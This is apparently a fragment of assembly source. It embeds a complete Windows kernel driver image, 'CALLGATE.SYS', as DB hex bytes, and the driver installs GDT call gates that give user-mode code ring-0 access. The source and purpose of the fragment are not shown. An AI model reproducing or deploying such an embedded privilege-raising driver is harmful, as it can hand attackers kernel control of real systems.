DB 03BH,010H,03CH,02FH,03CH,047H,03CH,06BH,03CH,0B7H,03CH,0C4H,03CH,0C9H,03CH
DB 0EFH,03CH,0FEH,03CH,010H,03DH,021H,03DH,020H,03EH,03CH,03EH,07FH,03EH,069H
DB 03FH,079H,03FH,0B4H,03FH,0BEH,03FH,000H,030H,000H,000H,040H,000H,000H,000H
DB 018H,030H,030H,030H,0C8H,030H,07FH,031H,0AAH,031H,0C6H,031H,0D8H,032H,0F0H
DB 032H,076H,033H,080H,033H,0B9H,033H,01FH,034H,02CH,034H,051H,034H,0B8H,034H
DB 0C8H,034H,0E8H,034H,011H,035H,056H,035H,06FH,035H,0B7H,035H,0DEH,035H,0F9H
DB 035H,027H,036H,033H,036H,076H,036H,088H,036H,0B1H,036H,000H,050H,000H,000H
DB 058H,000H,000H,000H,00CH,030H,018H,030H,03CH,030H,068H,030H,08CH,035H,094H
DB 035H,09CH,035H,0A4H,035H,0ACH,035H,0B4H,035H,0BCH,035H,0C4H,035H,0CCH,035H
DB 0D4H,035H,0DCH,035H,0E4H,035H,0ECH,035H,0F4H,035H,0FCH,035H,004H,036H,00CH
DB 036H,07CH,036H,09CH,036H,0ACH,036H,0BCH,036H,028H,038H,030H,038H,0E0H,03AH
DB 0E4H,03AH,0E8H,03AH,088H,03CH,08CH,03CH,090H,03CH,094H,03CH,098H,03CH,09CH
DB 03CH,0A0H,03CH,0A4H,03CH,0A8H,03CH,0ACH,03CH,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H

SYS_SIZ EQU 4080


SYS DB 04DH,05AH,090H,000H,003H,000H,000H,000H,004H,000H,000H,000H,0FFH,0FFH
DB 000H,000H,0B8H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,080H,000H,000H,000H,00EH,01FH,0BAH,00EH,000H,0B4H,009H,0CDH,021H,0B8H
DB 001H,04CH,0CDH,021H,054H,068H,069H,073H,020H,070H,072H,06FH,067H,072H,061H
DB 06DH,020H,063H,061H,06EH,06EH,06FH,074H,020H,062H,065H,020H,072H,075H,06EH
DB 020H,069H,06EH,020H,044H,04FH,053H,020H,06DH,06FH,064H,065H,02EH,00DH,00DH
DB 00AH,024H,000H,000H,000H,000H,000H,000H,000H,050H,045H,000H,000H,04CH,001H
DB 004H,000H,0D7H,06BH,061H,033H,000H,000H,000H,000H,02CH,000H,000H,000H,0E0H
DB 000H,006H,003H,00BH,001H,003H,000H,040H,004H,000H,000H,060H,008H,000H,000H
DB 000H,000H,000H,000H,04DH,004H,000H,000H,020H,002H,000H,000H,060H,006H,000H
DB 000H,000H,000H,001H,000H,020H,000H,000H,000H,020H,000H,000H,000H,003H,000H
DB 033H,000H,003H,000H,033H,000H,003H,000H,033H,000H,000H,000H,000H,000H,0C0H
DB 00EH,000H,000H,020H,002H,000H,000H,0ACH,0F4H,000H,000H,001H,000H,000H,000H
DB 000H,000H,010H,000H,000H,010H,000H,000H,000H,000H,010H,000H,000H,010H,000H
DB 000H,000H,000H,000H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,060H,00CH,000H,000H,028H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,00EH,000H,000H,088H,000H,000H,000H,020H,002H,000H
DB 000H,038H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 0B8H,00CH,000H,000H,030H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,02EH,074H,065H,078H,074H,000H,000H,000H,028H,004H,000H,000H,020H
DB 002H,000H,000H,040H,004H,000H,000H,020H,002H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,060H,02EH,064H,061H
DB 074H,061H,000H,000H,000H,000H,006H,000H,000H,060H,006H,000H,000H,000H,006H
DB 000H,000H,060H,006H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,040H,000H,000H,0C0H,02EH,069H,064H,061H,074H,061H,000H,000H
DB 082H,001H,000H,000H,060H,00CH,000H,000H,0A0H,001H,000H,000H,060H,00CH,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,040H,000H
DB 000H,0C0H,02EH,072H,065H,06CH,06FH,063H,000H,000H,0A6H,000H,000H,000H,000H
DB 00EH,000H,000H,0C0H,000H,000H,000H,000H,00EH,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,042H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,0D7H,06BH,061H,033H,000H,000H
DB 000H,000H,004H,000H,000H,000H,010H,001H,000H,000H,000H,000H,000H,000H,0C0H
DB 00EH,000H,000H,000H,000H,000H,000H,0D7H,06BH,061H,033H,000H,000H,000H,000H
DB 003H,000H,000H,000H,020H,000H,000H,000H,000H,000H,000H,000H,0D0H,00FH,000H
DB 000H,000H,000H,000H,000H,0D7H,06BH,061H,033H,000H,000H,000H,000H,003H,000H
DB 000H,000H,020H,000H,000H,000H,000H,000H,000H,000H,0F8H,019H,000H,000H,08DH
DB 044H,024H,008H,056H,050H,0BEH,060H,008H,001H,000H,0FFH,074H,024H,00CH,056H
DB 0A3H,050H,00CH,001H,000H,0E8H,0B4H,003H,000H,000H,083H,0C4H,00CH,0C7H,005H
DB 050H,00CH,001H,000H,000H,000H,000H,000H,056H,0E8H,09BH,003H,000H,000H,083H
DB 0C4H,004H,05EH,0C3H,055H,08BH,0ECH,083H,0ECH,004H,053H,08DH,045H,0FCH,056H
DB 06AH,002H,050H,0FFH,015H,0C8H,00CH,001H,000H,08BH,0F0H,085H,0F6H,074H,012H
DB 068H,094H,006H,001H,000H,0E8H,0AAH,0FFH,0FFH,0FFH,083H,0C4H,004H,0E9H,02DH
DB 001H,000H,000H,00FH,0B7H,045H,0FEH,00FH,0B7H,04DH,0FCH,050H,033H,0DBH,051H
DB 068H,074H,006H,001H,000H,0E8H,08CH,0FFH,0FFH,0FFH,080H,00DH,04DH,00CH,001H
DB 000H,002H,066H,0C7H,005H,048H,00CH,001H,000H,0FFH,0FFH,080H,025H,04DH,00CH
DB 001H,000H,0FBH,066H,089H,01DH,04AH,00CH,001H,000H,083H,0C4H,00CH,080H,00DH
DB 04DH,00CH,001H,000H,008H,080H,00DH,04DH,00CH,001H,000H,010H,080H,025H,04DH
DB 00CH,001H,000H,09FH,088H,01DH,04CH,00CH,001H,000H,088H,01DH,04FH,00CH,001H
DB 000H,080H,00DH,04DH,00CH,001H,000H,080H,080H,00DH,04EH,00CH,001H,000H,00FH
DB 066H,08BH,055H,0FCH,08BH,04DH,008H,080H,025H,04EH,00CH,001H,000H,0DFH,080H
DB 00DH,04EH,00CH,001H,000H,040H,080H,00DH,04EH,00CH,001H,000H,080H,08BH,001H
DB 066H,0A3H,058H,00CH,001H,000H,066H,089H,015H,05AH,00CH,001H,000H,08BH,041H
DB 004H,032H,005H,05CH,00CH,001H,000H,024H,00FH,030H,005H,05CH,00CH,001H,000H
DB 0A0H,05DH,00CH,001H,000H,080H,025H,05CH,00CH,001H,000H,00FH,024H,0FCH,00CH
DB 00CH,0A2H,05DH,00CH,001H,000H,080H,025H,05DH,00CH,001H,000H,0EFH,066H,08BH
DB 075H,0FEH,080H,00DH,05DH,00CH,001H,000H,060H,080H,00DH,05DH,00CH,001H,000H
DB 080H,08BH,001H,068H,048H,00CH,001H,000H,0C1H,0E8H,010H,066H,0A3H,05EH,00CH
DB 001H,000H,00FH,0B7H,0C2H,066H,089H,051H,008H,050H,066H,089H,071H,00AH,0FFH
DB 015H,0C4H,00CH,001H,000H,08BH,0F0H,085H,0F6H,075H,01BH,00FH,0B7H,045H,0FEH
DB 068H,058H,00CH,001H,000H,050H,0FFH,015H,0C4H,00CH,001H,000H,08BH,0F0H,0B8H
DB 000H,000H,000H,000H,085H,0F6H,074H,01CH,056H,068H,060H,006H,001H,000H,0E8H
DB 084H,0FEH,0FFH,0FFH,083H,0C4H,008H,08DH,045H,0FCH,06AH,002H,050H,0FFH,015H
DB 0C0H,00CH,001H,000H,08BH,0C6H,05EH,05BH,08BH,0E5H,05DH,0C2H,004H,000H,055H
DB 08BH,044H,024H,008H,066H,08BH,048H,008H,08BH,0ECH,066H,08BH,040H,00AH,083H
DB 0ECH,004H,066H,089H,04DH,0FCH,056H,066H,089H,045H,0FEH,06AH,002H,08DH,04DH
DB 0FCH,051H,0FFH,015H,0C0H,00CH,001H,000H,08BH,0F0H,085H,0F6H,074H,00EH,056H
DB 068H,0BCH,006H,001H,000H,0E8H,033H,0FEH,0FFH,0FFH,083H,0C4H,008H,08BH,0C6H
DB 05EH,08BH,0E5H,05DH,0C2H,004H,000H,055H,08BH,0ECH,083H,0ECH,064H,053H,056H
DB 057H,033H,0DBH,0BEH,05CH,007H,001H,000H,08DH,07DH,0C8H,0B9H,008H,000H,000H
DB 000H,089H,05DH,0FCH,0F3H,0A5H,066H,0A5H,0BEH,030H,007H,001H,000H,08DH,07DH
DB 09CH,0B9H,00AH,000H,000H,000H,068H,00CH,007H,001H,000H,0F3H,0A5H,066H,0A5H
DB 0E8H,0B5H,001H,000H,000H,083H,0C4H,004H,08DH,045H,0C8H,08DH,04DH,0F4H,050H
DB 051H,0FFH,015H,0D4H,00CH,001H,000H,08DH,04DH,0FCH,08DH,055H,0F4H,051H,08BH
DB 07DH,008H,06AH,001H,053H,068H,000H,083H,000H,000H,052H,06AH,004H,057H,0FFH
DB 015H,0D8H,00CH,001H,000H,08BH,0F0H,085H,0F6H,07CH,048H,08DH,045H,09CH,08DH
DB 04DH,0ECH,050H,051H,0FFH,015H,0D4H,00CH,001H,000H,08DH,04DH,0F4H,08DH,055H
DB 0ECH,051H,052H,0FFH,015H,0B8H,00CH,001H,000H,08BH,0F0H,085H,0F6H,07DH,00DH
DB 068H,0E0H,006H,001H,000H,0E8H,056H,001H,000H,000H,083H,0C4H,004H,0B8H,01CH
DB 005H,001H,000H,085H,0F6H,089H,047H,070H,089H,047H,040H,0C7H,047H,034H,0E9H
DB 005H,001H,000H,089H,047H,038H,07DH,00FH,083H,07DH,0FCH,000H,074H,009H,0FFH
DB 075H,0FCH,0FFH,015H,0CCH,00CH,001H,000H,08BH,0C6H,05FH,05EH,05BH,08BH,0E5H
DB 05DH,0C2H,008H,000H,053H,033H,0C9H,056H,057H,08BH,074H,024H,014H,055H,08DH
DB 07EH,018H,08BH,06EH,060H,08BH,05EH,00CH,089H,04EH,01CH,089H,00FH,00FH,0B6H
DB 045H,000H,085H,0C0H,074H,00FH,083H,0F8H,002H,074H,019H,083H,0F8H,00EH,074H
DB 023H,0E9H,089H,000H,000H,000H,068H,024H,008H,001H,000H,0E8H,0E7H,000H,000H
DB 000H,083H,0C4H,004H,0EBH,07AH,068H,008H,008H,001H,000H,0E8H,0D8H,000H,000H
DB 000H,083H,0C4H,004H,0EBH,06BH,068H,0E0H,007H,001H,000H,0E8H,0C9H,000H,000H
DB 000H,083H,0C4H,004H,08BH,045H,00CH,03DH,0C0H,020H,000H,083H,074H,01CH,03DH
DB 0C4H,020H,000H,083H,074H,039H,068H,080H,007H,001H,000H,0C7H,007H,00DH,000H
DB 000H,0C0H,0E8H,0A5H,000H,000H,000H,083H,0C4H,004H,0EBH,038H,053H,0E8H,004H
DB 0FDH,0FFH,0FFH,050H,089H,007H,068H,0C8H,007H,001H,000H,0E8H,0C5H,0FCH,0FFH
DB 0FFH,083H,0C4H,008H,083H,03FH,000H,075H,01DH,0C7H,046H,01CH,00CH,000H,000H
DB 000H,0EBH,014H,053H,0E8H,043H,0FEH,0FFH,0FFH,050H,068H,0B0H,007H,001H,000H
DB 0E8H,0A3H,0FCH,0FFH,0FFH,083H,0C4H,008H,08BH,03FH,033H,0D2H,08BH,0CEH,0FFH
DB 015H,0DCH,00CH,001H,000H,08BH,0C7H,05DH,05FH,05EH,05BH,0C2H,008H,000H,055H
DB 0B9H,00AH,000H,000H,000H,08BH,0ECH,083H,0ECH,034H,056H,057H,0BEH,030H,007H
DB 001H,000H,08DH,07DH,0CCH,0F3H,0A5H,066H,0A5H,08DH,045H,0CCH,08DH,04DH,0F8H
DB 050H,051H,0FFH,015H,0D4H,00CH,001H,000H,08DH,04DH,0F8H,051H,0FFH,015H,0E0H
DB 00CH,001H,000H,08BH,04DH,008H,0FFH,071H,004H,0FFH,015H,0CCH,00CH,001H,000H
DB 068H,044H,008H,001H,000H,0E8H,00CH,000H,000H,000H,083H,0C4H,004H,05FH,05EH
DB 08BH,0E5H,05DH,0C2H,004H,000H,0CCH,0FFH,025H,0D0H,00CH,001H,000H,0FFH,025H
DB 0BCH,00CH,001H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,053H,065H
DB 074H,047H,064H,074H,053H,065H,06CH,065H,063H,074H,06FH,072H,03DH,025H,078H
DB 00AH,000H,000H,053H,065H,06CH,065H,063H,074H,06FH,072H,073H,020H,061H,06CH
DB 06CH,06FH,063H,061H,074H,065H,064H,020H,03DH,020H,025H,078H,020H,025H,078H
DB 00AH,000H,000H,000H,000H,055H,06EH,061H,062H,06CH,065H,020H,074H,06FH,020H
DB 061H,06CH,06CH,06FH,063H,061H,074H,065H,020H,073H,065H,06CH,065H,063H,074H
DB 06FH,072H,073H,020H,066H,072H,06FH,06DH,020H,047H,044H,054H,00AH,000H,000H
DB 052H,065H,06CH,065H,061H,073H,065H,047H,044H,054H,053H,065H,06CH,065H,063H
DB 074H,06FH,072H,073H,020H,066H,061H,069H,06CH,065H,064H,02CH,020H,072H,063H
DB 03DH,025H,078H,00AH,000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH
DB 053H,059H,053H,03AH,020H,049H,06FH,043H,072H,065H,061H,074H,065H,053H,079H
DB 06DH,062H,06FH,06CH,069H,063H,04CH,069H,06EH,06BH,020H,066H,061H,069H,06CH
DB 065H,064H,00AH,000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H
DB 059H,053H,03AH,020H,065H,06EH,074H,065H,072H,069H,06EH,067H,020H,044H,072H
DB 069H,076H,065H,072H,045H,06EH,074H,072H,079H,00AH,000H,05CH,000H,044H,000H
DB 06FH,000H,073H,000H,044H,000H,065H,000H,076H,000H,069H,000H,063H,000H,065H
DB 000H,073H,000H,05CH,000H,063H,000H,061H,000H,06CH,000H,06CH,000H,067H,000H
DB 061H,000H,074H,000H,065H,000H,000H,000H,000H,000H,05CH,000H,044H,000H,065H
DB 000H,076H,000H,069H,000H,063H,000H,065H,000H,05CH,000H,063H,000H,061H,000H
DB 06CH,000H,06CH,000H,067H,000H,061H,000H,074H,000H,065H,000H,000H,000H,000H
DB 000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH,020H
DB 075H,06EH,06BH,06EH,06FH,077H,06EH,020H,049H,052H,050H,05FH,04DH,04AH,05FH
DB 044H,045H,056H,049H,043H,045H,05FH,043H,04FH,04EH,054H,052H,04FH,04CH,00AH
DB 000H,000H,000H,000H,052H,065H,06CH,065H,061H,073H,065H,043H,061H,06CH,06CH
DB 047H,061H,074H,065H,020H,072H,063H,03DH,025H,078H,00AH,000H,000H,043H,072H
DB 065H,061H,074H,065H,043H,061H,06CH,06CH,047H,061H,074H,065H,020H,072H,063H
DB 03DH,025H,078H,00AH,000H,000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H
DB 02EH,053H,059H,053H,03AH,020H,049H,052H,050H,05FH,04DH,04AH,05FH,044H,045H
DB 056H,049H,043H,045H,05FH,043H,04FH,04EH,054H,052H,04FH,04CH,00AH,000H,000H
DB 000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH
DB 020H,049H,052H,050H,05FH,04DH,04AH,05FH,043H,04CH,04FH,053H,045H,00AH,000H
DB 043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH,020H,049H
DB 052H,050H,05FH,04DH,04AH,05FH,043H,052H,045H,041H,054H,045H,00AH,000H,000H
DB 000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH
DB 020H,075H,06EH,06CH,06FH,061H,064H,069H,06EH,067H,00AH,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,088H,00CH,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,0D4H,00DH,000H,000H,0B8H,00CH,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,064H
DB 00DH,000H,000H,0F4H,00CH,000H,000H,000H,00DH,000H,000H,01CH,00DH,000H,000H
DB 034H,00DH,000H,000H,052H,00DH,000H,000H,0E8H,00CH,000H,000H,07CH,00DH,000H
DB 000H,094H,00DH,000H,000H,0A6H,00DH,000H,000H,0BCH,00DH,000H,000H,000H,000H
DB 000H,000H,064H,00DH,000H,000H,0F4H,00CH,000H,000H,000H,00DH,000H,000H,01CH
DB 00DH,000H,000H,034H,00DH,000H,000H,052H,00DH,000H,000H,0E8H,00CH,000H,000H
DB 07CH,00DH,000H,000H,094H,00DH,000H,000H,0A6H,00DH,000H,000H,0BCH,00DH,000H
DB 000H,000H,000H,000H,000H,023H,000H,044H,062H,067H,050H,072H,069H,06EH,074H
DB 000H,000H,04BH,003H,076H,073H,070H,072H,069H,06EH,074H,066H,000H,000H,038H
DB 001H,04BH,065H,049H,033H,038H,036H,052H,065H,06CH,065H,061H,073H,065H,047H
DB 064H,074H,053H,065H,06CH,065H,063H,074H,06FH,072H,073H,000H,03AH,001H,04BH
DB 065H,049H,033H,038H,036H,053H,065H,074H,047H,064H,074H,053H,065H,06CH,065H
DB 063H,074H,06FH,072H,000H,000H,033H,001H,04BH,065H,049H,033H,038H,036H,041H
